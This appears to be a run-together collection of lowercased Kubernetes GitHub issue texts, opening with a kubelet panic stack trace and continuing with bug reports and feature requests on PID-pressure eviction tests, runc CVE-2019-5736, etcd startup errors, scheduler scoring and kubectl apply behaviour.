2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:243\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:312\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:278\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:141\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:79\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:2361\r nov 28 18:58:23 server-name kubelet 2235 : panic: an unexported field was encountered, nested like this:   recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this: string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this: v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this:  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this: v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this:  v1.nodeconfigsource -> v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this: checkpoint.remoteconfigmap ->  v1.nodeconfigsource -> v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this:  checkpoint.remoteconfigmap -> checkpoint.remoteconfigmap ->  v1.nodeconfigsource -> v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string  recovered \r nov 28 18:58:23 server-name kubelet 2235 :         panic: an unexported field was encountered, nested like this:  checkpoint.remoteconfigmap -> checkpoint.remoteconfigmap ->  v1.nodeconfigsource -> v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string\r nov 28 18:58:23 server-name kubelet 2235 : goroutine 117  running :\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208cee40 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x3c0b2c0, 0xc4200e40e8, 0x16 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208cee00 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x38d9600, 0xc4200e40e8, 0x199 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208cedc0 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x3d2e820, 0xc4200e40e8, 0x1b6 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208ced80 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x39a9980, 0xc42024e8c0, 0x1b9 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208ced40 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x3d2b320, 0xc42024e8c0, 0x1b6 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208ced00 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x3ccb820, 0xc4200a4370, 0x1b9 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208cec80 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.makeusefulpanic 0x3531320, 0xc4200a4370, 0x1b8 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96 +0x258\r nov 28 18:58:23 server-name kubelet 2235 : panic 0x385eea0, 0xc4208cec40 \r nov 28 18:58:23 server-name kubelet 2235 :         /usr/local/go/src/runtime/panic.go:502 +0x229\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x3531320, 0xc4200a4370, 0x1b8, 0x3531320, 0xc4200a45f0, 0x1b8, 0xc4201e5bd8, 0x6, 0x3522e00 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:219 +0x17d6\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x3ccb820, 0xc4200a4370, 0x1b9, 0x3ccb820, 0xc4200a45f0, 0x1b9, 0xc420545bd8, 0x5, 0x0 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x972\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x3d2b320, 0xc42024e8c0, 0x1b6, 0x3d2b320, 0xc42024f190, 0x1b6, 0xc4201e5bd8, 0x4, 0x0 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183 +0x140f\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x39a9980, 0xc42024e8c0, 0x1b9, 0x39a9980, 0xc42024f190, 0x1b9, 0xc420545bd8, 0x3, 0xc4201e5500 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x972\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x3d2e820, 0xc4200e40e8, 0x1b6, 0x3d2e820, 0xc4200e41f8, 0x1b6, 0xc4201e5bd8, 0x2, 0xc4201e5800 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183 +0x140f\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x38d9600, 0xc4200e40e8, 0x199, 0x38d9600, 0xc4200e41f8, 0x199, 0xc420545bd8, 0x1, 0x827500 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x972\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal 0xc420204d80, 0x3c0b2c0, 0xc4200e40e8, 0x16, 0x3c0b2c0, 0xc4200e41f8, 0x16, 0xc4201e5bd8, 0x0, 0xc4200e4100 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183 +0x140f\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepequal 0xc420204d80, 0x3c0b2c0, 0xc4200e40e8, 0x3c0b2c0, 0xc4200e41f8, 0xbef7d3afebb03534 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:243 +0x287\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/pkg/kubelet/kubeletconfig.  controller .graduateassignedtolastknowngood 0xc420c446e0, 0x8bb2c97000, 0x0 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:312 +0xfe\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/pkg/kubelet/kubeletconfig.  controller .checktrial 0xc420c446e0, 0x8bb2c97000 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:278 +0xbb\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/pkg/kubelet/kubeletconfig.  controller .bootstrap.func1  \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:141 +0x39\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc4208a88d0 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x54\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc4208a88d0, 0x2540be400, 0x0, 0x1, 0xc4202f4000 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4208a88d0, 0x2540be400, 0xc4202f4000 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r nov 28 18:58:23 server-name kubelet 2235 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0xc4208a88d0, 0x2540be400 \r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:79 +0x41\r nov 28 18:58:23 server-name kubelet 2235 : created by k8s.io/kubernetes/pkg/kubelet/kubeletconfig.  controller .bootstrap\r nov 28 18:58:23 server-name kubelet 2235 :         /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubeletconfig/controller.go:141 +0x40f\r nov 28 18:58:23 server-name systemd 1 : kubelet.service: main process exited, code=exited, status=2/invalidargument\r nov 28 18:58:23 server-name systemd 1 : kubelet.service: failed with result 'exit-code'.\r    \r \r 

what would you like to be added  :\r the test should test that a fork-bomb container triggers pidpressure and is evicted.\r \r   why is this needed  :\r we are not certain pidpressure is working as intended.  see https://github.com/kubernetes/kubernetes/pull/72076 issuecomment-452054319.  this should help work out bugs in that feature.\r \r @kubernetes/sig-node-feature-requests

what happened  :\r https://kubernetes.io/blog/2019/02/11/runc-and-cve-2019-5736/\r \r   what you expected to happen  :\r https://github.com/kubernetes/kubernetes/pull/72823\r  1.14  supports docker version  18.09 . will there be any problem? do we need to update to  18.09.2 ?\r \r do we need to do something about it?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r https://kubernetes.io/blog/2019/02/11/runc-and-cve-2019-5736/\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

https://github.com/kubernetes/kubernetes/tree/master/docs/user-guide/liveness contains application level health-check using http and container exec. tcp socket example configuration file and docs are missing.  for example, there are no links to tcp socket example at: http://kubernetes.io/v1.1/docs/user-guide/walkthrough/k8s201.html application-health-checking

openstack cloud provider should move from rackspace/gophercloud to gophercloud/gophercloud repo, as gophercloud moved to its own organization and repo now.  hashicorp/terraform has the same open issue: https://github.com/hashicorp/terraform/issues/7926

i continually encountered this error when executing e2e node remotely by following https://github.com/kubernetes/kubernetes/blob/master/docs/devel/e2e-node-tests.md.  did the doc miss some configuration steps? cc @random-liu   the full log is:      make test-e2e-node  focus=\ mirrorpod\   remote=true +++  0831 10:45:33  generating bindata:     /root/code/kubernetes/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  0831 10:45:36  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  0831 10:45:37  building go targets for linux/amd64:     vendor/github.com/onsi/ginkgo/ginkgo test artifacts will be written to /tmp/_artifacts reusing host test-gci-dev-54-8743-3-0 running tests remotely using project: hyper-test-142007 image project: google-containers compute/zone: asia-east1-a images:  hosts: test-gci-dev-54-8743-3-0 ginkgo flags:  -nodes=8  -focus=mirrorpod  -untilitfails=false  instance metadata: user-data</root/code/kubernetes/src/k8s.io/kubernetes/test/e2e_node/jenkins/gci-init.yaml initializing e2e tests using host test-gci-dev-54-8743-3-0. i0831 10:46:10.165347   10696 build.go:40  building k8s binaries... +++  0831 10:46:35  generating bindata:     /root/code/kubernetes/src/k8s.io/kubernetes/test/e2e/framework/gobindata_util.go +++  0831 10:46:37  building the toolchain targets:     k8s.io/kubernetes/hack/cmd/teststale +++  0831 10:46:38  building go targets for linux/amd64:     cmd/kubelet     test/e2e_node/e2e_node.test     vendor/github.com/onsi/ginkgo/ginkgo i0831 10:53:54.497260   10696 remote.go:96  building archive... ================================================================ failure finished host test-gci-dev-54-8743-3-0 test suite  instance test-gci-dev-54-8743-3-0 not running docker daemon - command failed: warning: identity file /root/.ssh/google_compute_engine not accessible: no such file or directory. permission denied  publickey .  ================================================================ failure: 1 errors encountered. exit status 1 make:      test-e2e-node  error 1

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  yes  ---    kubernetes version    use  kubectl version  :  kubernetes  1.2    what happened  :  i use  this link http://kubernetes.io/docs/getting-started-guides/ubuntu/ to install k8s on ubuntu 14.04     this is my    /config-default.sh      export nodes=${nodes:-\ kaifun@127.0.0.1\ } roles=${roles:-\ ai\ } export roles_array= $roles  export num_nodes=${num_nodes:-1} export service_cluster_ip_range=192.168.3.0/24 export flannel_net=172.16.0.0/16    and  when i run     kubernetes_provider=ubuntu ./kube-up.sh    i get     prepare flannel 0.5.0 release ... prepare etcd 2.2.0 release ... prepare kubernetes 1.2.0 release ... done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory /home/kaifun/kubernetes/kubernetes/cluster  deploying master and node on machine 127.0.0.1 kaifun@127.0.0.1's password:  kaifun@127.0.0.1's password:  make-ca-cert.sh                               100% 4136     4.0kb/s   00:00   easy-rsa.tar.gz                               100%   42kb  42.4kb/s   00:00   config-default.sh                             100% 5549     5.4kb/s   00:00   util.sh                                       100%   29kb  28.9kb/s   00:00   kube-proxy.conf                               100%  688     0.7kb/s   00:00   kubelet.conf                                  100%  645     0.6kb/s   00:00   kube-proxy                                    100% 2233     2.2kb/s   00:00   kubelet                                       100% 2158     2.1kb/s   00:00   kube-controller-manager.conf                  100%  761     0.7kb/s   00:00   kube-scheduler.conf                           100%  682     0.7kb/s   00:00   kube-apiserver.conf                           100%  682     0.7kb/s   00:00   etcd.conf                                     100%  707     0.7kb/s   00:00   kube-controller-manager                       100% 2672     2.6kb/s   00:00   kube-apiserver                                100% 2358     2.3kb/s   00:00   etcd                                          100% 2073     2.0kb/s   00:00   kube-scheduler                                100% 2360     2.3kb/s   00:00   reconfdocker.sh                               100% 2068     2.0kb/s   00:00   kube-controller-manager                       100%   52mb  51.8mb/s   00:00   etcdctl                                       100%   12mb  12.3mb/s   00:00   kube-apiserver                                100%   58mb  58.2mb/s   00:00   etcd                                          100%   14mb  13.8mb/s   00:00   flanneld                                      100%   11mb  10.8mb/s   00:00   kube-scheduler                                100%   42mb  42.0mb/s   00:00   kube-proxy                                    100%   35mb  34.8mb/s   00:01   kubelet                                       100%   60mb  60.3mb/s   00:00   flanneld                                      100%   11mb  10.8mb/s   00:00   kaifun@127.0.0.1's password:  flanneld.conf                                 100%  579     0.6kb/s   00:00   flanneld                                      100% 2121     2.1kb/s   00:00   flanneld.conf                                 100%  570     0.6kb/s   00:00   flanneld                                      100% 2131     2.1kb/s   00:00   kaifun@127.0.0.1's password:    sudo  password to start master:  etcd start/stopping  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:2379: getsockopt: connection refused error  1: dial tcp 127.0.0.1:4001: getsockopt: connection refused    and this is   /var/log/upstart/etcd.log    2016-10-17 10:42:16.765142 i | etcdmain: etcd version: 2.2.0 2016-10-17 10:42:16.765170 i | etcdmain: git sha: e4561dd 2016-10-17 10:42:16.765175 i | etcdmain: go version: go1.5 2016-10-17 10:42:16.765180 i | etcdmain: go os/arch: linux/amd64 2016-10-17 10:42:16.765188 i | etcdmain: setting maximum number of cpus to 8, total number of available cpus is 8 2016-10-17 10:42:16.765195 w | etcdmain: no data-dir provided, using default data-dir ./infra.etcd 2016-10-17 10:42:16.765219 n | etcdmain: the server is already initialized as member before, starting as etcd member... 2016-10-17 10:42:16.765321 i | etcdmain: listening for peers on http://localhost:2380 2016-10-17 10:42:16.765350 i | etcdmain: stopping listening for peers on http://localhost:2380 2016-10-17 10:42:16.765365 c | etcdmain: listen tcp 127.0.0.1:7001: bind: address already in use 2016-10-17 10:42:16.793469 i | etcdmain: etcd version: 2.2.0 2016-10-17 10:42:16.793501 i | etcdmain: git sha: e4561dd 2016-10-17 10:42:16.793506 i | etcdmain: go version: go1.5 2016-10-17 10:42:16.793511 i | etcdmain: go os/arch: linux/amd64 2016-10-17 10:42:16.793519 i | etcdmain: setting maximum number of cpus to 8, total number of available cpus is 8 2016-10-17 10:42:16.793525 w | etcdmain: no data-dir provided, using default data-dir ./infra.etcd 2016-10-17 10:42:16.793546 n | etcdmain: the server is already initialized as member before, starting as etcd member... 2016-10-17 10:42:16.793636 i | etcdmain: listening for peers on http://localhost:2380 2016-10-17 10:42:16.793659 i | etcdmain: stopping listening for peers on http://localhost:2380 2016-10-17 10:42:16.793670 c | etcdmain: listen tcp 127.0.0.1:7001: bind: address already in use 2016-10-17 10:42:16.820295 i | etcdmain: etcd version: 2.2.0 2016-10-17 10:42:16.820330 i | etcdmain: git sha: e4561dd 2016-10-17 10:42:16.820336 i | etcdmain: go version: go1.5 2016-10-17 10:42:16.820342 i | etcdmain: go os/arch: linux/amd64 2016-10-17 10:42:16.820351 i | etcdmain: setting maximum number of cpus to 8, total number of available cpus is 8 2016-10-17 10:42:16.820357 w | etcdmain: no data-dir provided, using default data-dir ./infra.etcd 2016-10-17 10:42:16.820383 n | etcdmain: the server is already initialized as member before, starting as etcd member... 2016-10-17 10:42:16.820490 i | etcdmain: listening for peers on http://localhost:2380 2016-10-17 10:42:16.820514 i | etcdmain: stopping listening for peers on http://localhost:2380 2016-10-17 10:42:16.820524 c | etcdmain: listen tcp 127.0.0.1:7001: bind: address already in use    help,thanks.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r \r generic_scheduling\r scheduler\r scoring\r \r ---\r \r   is this a bug report or feature request?   : feature request\r \r in  /kubernetes/plugin/pkg/scheduler/core/generic_scheduler.go   the function  prioritizenodes  prioritizes the nodes, but at some point  line 374  : \r \r    go\r for i := range nodes {\r \t\tresult = append result, schedulerapi.hostpriority{host: nodes i .name, score: 0} \r \t\tfor j := range priorityconfigs {\r \t\t\tresult i .score += results j  i .score   priorityconfigs j .weight\r \t\t}\r \t}\r \r    \r summarizing all scores is done sequentially, maybe we should consider parallelizing it using wq ?\r

\r   kubernetes version    use  kubectl version  :\r \r v1.6.x\r \r   what happened  :\r \r users tried to understand what the  --cluster-cidr  and  --masquerade-all  flags do, but couldn't.\r \r   what you expected to happen  :\r \r expect users to be able to understand from the the description.

it is possible to express a service with multiple ports blocks with the same number.  this is not very useful and may cause trouble for implementations of services.\r \r curiously, if i  kubectl edit  this and touch that field, patch merges them because the mergekey is  port .  @mengqiy it did the right thing and surprised me : \r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: hostnames-2\r spec:\r   ports:\r   - name: a\r     port: 80\r     targetport: 9376\r   - name: b\r     port: 80\r     targetport: 9377\r   selector:\r     run: hostnames\r

bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t20:41:07z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos 1409.1.0\r -   kernel    e.g.  uname -a  : linux 4.11.2-coreos  1 smp tue may 23 22:04:34 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r   what happened  :\r  kubectl apply  ignores changes in  spec.initcontainers  field. the  spec.initcontainers  field is also mirrored into alpha and beta annotations. i think the annotations from the previous run overwrite the changes specified in  spec.initcontainers  field. if i apply my changes as annotations, it works. also, there is no  --feature-gates  option in kube-apiserver to turn it off annotations for initcontainers.\r \r   what you expected to happen  :\r  spec.initcontainers  changes should trump over annotations\r \r   how to reproduce it    as minimally and precisely as possible :\r create a deployment with  spec.initcontainer  field populated in pod template. apply the deployment. make changes  spec.initcontainer  field and apply again. kubectl says deployment is configured but your changes are not applied\r \r \r

